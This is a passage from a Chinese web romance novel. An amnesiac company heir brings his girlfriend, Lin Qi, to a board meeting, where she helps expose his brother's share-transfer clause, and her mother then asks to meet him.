妈妈那边沉默了一会儿。
然后发来一条语音。
林栖点开,就听见妈妈压低了声音说:“闺女,你这是走了什么运???”
林栖忍不住笑了。
“笑什么?”陆时琛端着盘子走出来,看见她对着手机傻笑。
林栖抬起头,眼睛弯弯的。
“我妈夸你帅。”
陆时琛愣了一下,然后嘴角翘起来。
“那我得谢谢阿姨。”
他把盘子放在桌上,擦了擦手,认真地问:“阿姨还说什么了?”
林栖想了想。
“她说,会做饭的男人差不到哪儿去。”
陆时琛的眼睛亮了。
“那我以后天天做。”
林栖看着他那副认真的样子,忽然觉得心里软软的。
这人,怎么这么容易满足?
一顿饭吃完,林栖靠在沙发上消食。
陆时琛在收拾碗筷,忽然手机响了。
他看了一眼来电显示,皱了皱眉,接起来。
“喂?”
电话那头说了什么。
陆时琛的表情微微变化。
“知道了。”他说,“我一会儿过去。”
挂断电话,他看向林栖。
“公司有点事,我要去一趟。”
林栖愣了一下。
“你?去公司?”
他点点头。
“你恢复记忆了?”林栖坐直身体。
“没有。”他说,“但是他们说,有些文件必须我签。”
林栖沉默了一秒。
这人,什么都不记得,去签什么文件?
万一被人坑了怎么办?
她站起来。
“我陪你去。”
陆时琛看着她。
“你不是说要离职了吗?”
林栖:“……”
对哦,她昨天还说下周就正式离职了。
但——
“离职归离职,”她走过去,拉起他的手,“你现在这情况,我不放心。”
陆时琛低头看了看他们交握的手,又抬头看了看她。
然后他笑了。
“好。”
19. 开会带家属,不太合适吧?
下午两点,林栖和陆时琛出现在陆氏集团一楼大厅。
前台小姑娘正在低头玩手机,听见脚步声抬起头,然后整个人石化了。
“陆、陆总——”
她的目光落在两人交握的手上,嘴巴张成O型,半天没合上。
林栖冲她点点头,面不改色地走过去。
电梯里,陆时琛忽然问:“你刚才看见那个人的表情了吗?”
林栖:“看见了。”
“她好像很惊讶。”
“是挺惊讶的。”
“为什么?”
林栖想了想:“可能是因为你从来没带人来过公司?”
陆时琛认真地思考了一下:“那我以后天天带你。”
林栖:“……”
电梯在二十一楼停下。
门打开的瞬间,林栖感觉到一股不同寻常的气氛。
走廊里站着好几个人,有穿西装的,有拎公文包的,还有几个看起来像是助理的年轻人。他们的目光齐刷刷地看过来,然后齐刷刷地落在他们交握的手上。
林栖握紧陆时琛的手,挺直腰背。
旁边,陆时琛目不斜视地往前走,好像那些目光根本不存在。
会议室的门开着。
里面已经坐了一圈人。
林栖一眼就看见了陆时安——他坐在长桌的左侧,正低头看文件,嘴角带着若有若无的笑意。
还有陆父,坐在主位旁边,表情严肃。
另外几个她不认识,但从穿着和气场来看,应该都是公司高层。
“时琛来了。”陆父站起来,“坐吧。”
陆时琛点点头,拉着林栖走进去。
会议室里的目光齐刷刷地聚焦在林栖身上。
林栖感觉到那些目光像X光一样,恨不得把她从头到脚扫描一遍。
她不动声色,在陆时琛旁边坐下。
“这位是……”一个中年男人开口,目光在林栖身上转了一圈。
“我老婆。”陆时琛语气平静。
会议室里安静了一秒。
那个中年男人的表情变得很微妙。
陆时安放下手里的文件,笑着开口:“哥,开会带家属,不太合适吧?”
“她不是家属。”陆时琛看着他,语气还是那么平静,“她是我的法律顾问。”
林栖:“……???”
她转头看向陆时琛。
法律顾问?她?
她连劳动合同都看不太懂好吗!
但陆时琛的表情认真得像在陈述事实。
陆时安的笑容僵了一秒。
“法律顾问?”他重复了一遍,“林小姐不是行政部的实习生吗?什么时候成了法律顾问?”
陆时琛看着他。
“现在。”
两个字,掷地有声。
会议室里的气氛更微妙了。
陆时安张了张嘴,想说什么,但被陆父的眼神制止了。
“行了,”陆父开口,“先开会吧。”
会议开始了。
林栖坐在旁边,一开始还努力想听懂他们在说什么。
但很快她就放弃了。
那些词——股权、期权、董事会决议、公司章程修订——她每个字都认识,但连在一起就完全不知道是什么意思了。
她偷偷看了一眼陆时琛。
他表情平静,偶尔点点头,偶尔问一两个问题。
虽然什么都不记得,但看起来一点都不慌张。
她正想着,忽然听见陆时安的声音。
“哥,这个条款我觉得有问题。”他指了指手里的文件,“你
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看这里,关于股权转让的限制,我觉得太宽松了,应该再收紧一些。”
陆时琛低头看了看那份文件。
林栖注意到,他的目光在那几行字上停留了几秒。
然后他抬起头。
“这个条款是你拟的?”
陆时安点点头。
“你觉得太宽松?”
“对。”陆时安说,“我觉得应该把转让比例限制在5%以内,现在这个10%太高了。”
陆时琛沉默了一秒。
然后他说:“你是想保护公司,还是想保护自己?”
陆时安的笑容僵住了。
“哥,你这话什么意思?”
陆时琛没回答,只是看着他。
会议室里安静得能听见呼吸声。
林栖看着这一幕,忽然明白发生了什么。
这个条款——如果她没理解错的话——表面上是限制股权转让,但实际上,如果限制得太紧,某些人手里的股份就会变得很难变现。
而陆时安刚才说“应该再收紧一些”,如果真的改了,受影响最大的……
她看向陆时安。
他的表情不太自然。
陆时琛开口了,语气还是那么平静。
“我现在什么都不记得,但不代表我不会算账。”他顿了顿,“这个条款,如果按你说的改,谁的股份会被锁死?”
陆时安没说话。
陆时琛继续说:“我名下的股份,占公司37%。按现行规定,我最多能转3.7%给任何人。但如果改成5%限制,我最多能转1.85%。”
他顿了顿。
“而你的股份,只有8%。改完之后,你最多能转0.4%。”
他看着陆时安。
“你说,这个条款,对谁更不利?”
20. 你知道见家长是什么意思吗?^^……
会议室里安静得落针可闻。
林栖坐在陆时琛旁边,看着陆时安那张僵住的脸,忽然有点想给他鼓掌。
但她忍住了。
现在不是鼓掌的时候。
陆时安张了张嘴,想说点什么,但什么都没说出来。他的脸从白到红,又从红到白,最后变成一种很难形容的颜色。
“哥,”他干笑了一声,“你误会了,我哪能想到这些?我就是单纯觉得,股权转让这种事,谨慎点好。”
陆时琛看着他,没说话。
那目光平静得像一潭深水,看不出任何情绪。
但林栖注意到,陆时安的眼神飘了一下。
他在躲。
“行了,”陆父开口打破僵局,“这个条款先放着,回头再议。今天主要是确认一下时琛的身体状况和接下来一段时间的工作安排。”
他看向陆时琛。
“时琛,你现在这情况,医生怎么说?”
陆时琛收回视线,语气淡淡的。
“观察,休息,别太累。”
陆父点点头。
“那公司的事……”
“我可以处理。”陆时琛说,“简单的文件签字没问题。复杂的,需要我了解的,让人告诉我。”
陆父沉默了一秒。
“好。”他说,“那就按你说的办。”
旁边一个中年男人开口了,语气带着点担忧:“陆总,您现在这情况,很多事记不起来,万一签了什么不该签的文件……”
“所以我带了她。”陆时琛指了指林栖。
所有人的目光再次聚焦到林栖身上。
林栖:“……”
恨不得把自己缩进椅子缝里。
但陆时琛的手握着她的手,拇指在她手背上轻轻蹭了蹭。
像是在说:别怕。
林栖深吸一口气,挺直腰背,对上那些目光。
“林小姐,”那个中年男人开口,“您是学法律的?”
“不是。”林栖实话实说,“我是学人力资源的。”
会议室里安静了一秒。
陆时安差点笑出声。
“那您怎么当法律顾问?”他问,语气里带着毫不掩饰的嘲讽。
林栖看着他。
“你刚才那个条款,”她说,“是想把你哥的股份锁死吧?”
陆时安的笑容僵住了。
“因为你现在手里只有8%,你哥有37%。如果把转让比例限制在5%以内,你哥最多能转1.85%,而你最多能转0.4%。这样就算你哥想拉拢谁,能给的筹码也有限。而你——”
她顿了顿。
“你那8%,本来就转不了多少。锁死了对你影响不大,但对你哥影响大。”
陆时安的脸色变了。
会议室里的其他人,表情也变得微妙起来。
陆时琛看着林栖,嘴角微微翘起来。
林栖继续说:“我不是学法律的,但我会算账。你刚才说那个条款是你拟的,那你在拟的时候,有没有想过这个账?”
陆时安张了张嘴,没说出话来。
林栖看着他。
“陆先生,你哥现在什么都不记得,但不代表他傻。也不代表——”
她看了一眼陆时琛握着自己的手。
“——他身边的人傻。”
会议室里安静了几秒。
然后陆父咳嗽了一声。
“行了,今天就到这儿吧。”他站起来,“时琛,你先回去休息。公司的事,不急。”
陆时琛点点头,站起来。
拉着林栖的手,往外走。
走到门口的时候,林栖忽然停下脚步。
她回头,看向陆时安。
“对了,陆先生。”
陆时安抬起头。
林栖笑了笑。
“谢谢你提醒我,我以后得好好学学法律。不然怎么当你哥的法律顾问?”
说完,她拉着陆时琛走出会议室。
电梯里,只有他们两个人。
林栖靠在电梯壁上,长出一口气。
“我的妈呀,”她捂住脸,“我刚才都说了什么?”
旁边,陆时琛看着她。
“说了实话。”他说,语气里带着笑意。
林栖从指缝里看他。
“你笑什么?”
“笑你。”他说,“你刚才的样子,很好看。”
林栖愣了一下,耳朵又烫了。
“好看什么好看,”她放下手,“我那是硬撑的。其实腿都在抖。”
陆时琛低头看了看她的腿。
“现在还在抖吗?”
林栖:“……”
这人关注点怎么这么奇怪?
“没有!”她瞪他一眼,“被你气的,不抖了。”
陆时琛笑了。
那笑容,比刚才开会的时候温柔多了。
“林栖。”
“嗯?”
“谢谢你。”
林栖愣了一下。<
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p>“谢我什么?”
“谢你帮我。”他说,“谢你在我旁边。”
林栖看着他认真的眼神,忽然不知道该说什么。
电梯在下降。
数字一个一个跳动着。
她的手还被他握着。
“陆时琛,”她开口,声音有点轻,“你以后要是想起来了,会不会后悔?”
他看着她。
“后悔什么?”
“后悔……”林栖顿了顿,“后悔让我当你法律顾问?”
他想了想。
“不会。”
林栖愣了一下。
他又说:“你刚才的样子,我记住了。”
林栖:“……”
这人,怎么越来越会说话了?
电梯到了一楼。
门打开,林栖拉着他的手走出去。
大厅里,好几个人正在等电梯。看见他们出来,目光齐刷刷地看过来。
林栖目不斜视,挺直腰背,往前走。
走出大门的那一刻,她忽然笑了。
“陆时琛。”
“嗯?”
“我刚才是不是很帅?”
他想了想,认真地说:“帅。比我帅。”
林栖笑出声。
“那是,也不看看是谁的法律顾问。”
他握紧她的手,也笑了。
两个人沿着人行道往前走。
阳光正好,风也温柔。
林栖忽然觉得,刚才会议室里的那些暗流涌动,好像也没那么可怕了。
只要他在旁边。
只要手还牵着。
那就什么都不可怕。
手机震了一下。
林栖掏出手机,看了一眼。
是妈妈的微信。
【周末带他回来吃顿饭。】
【让你爸也看看。】
林栖盯着屏幕上的消息,整个人僵在原地。
她妈不是还挺放心的吗?怎么突然就要见面了?
“怎么了?”陆时琛凑过来看她的手机。
林栖条件反射地把手机往旁边一藏。
但已经晚了。
“周末带他回来吃顿饭。”陆时琛念出屏幕上的字,然后抬起头,眼睛亮了,“好。”
林栖:“……好什么好?”
“回去吃饭。”他说,语气理所当然,“见你爸妈。”
林栖看着他亮晶晶的眼神。
“陆时琛,你知道见家长是什么意思吗?”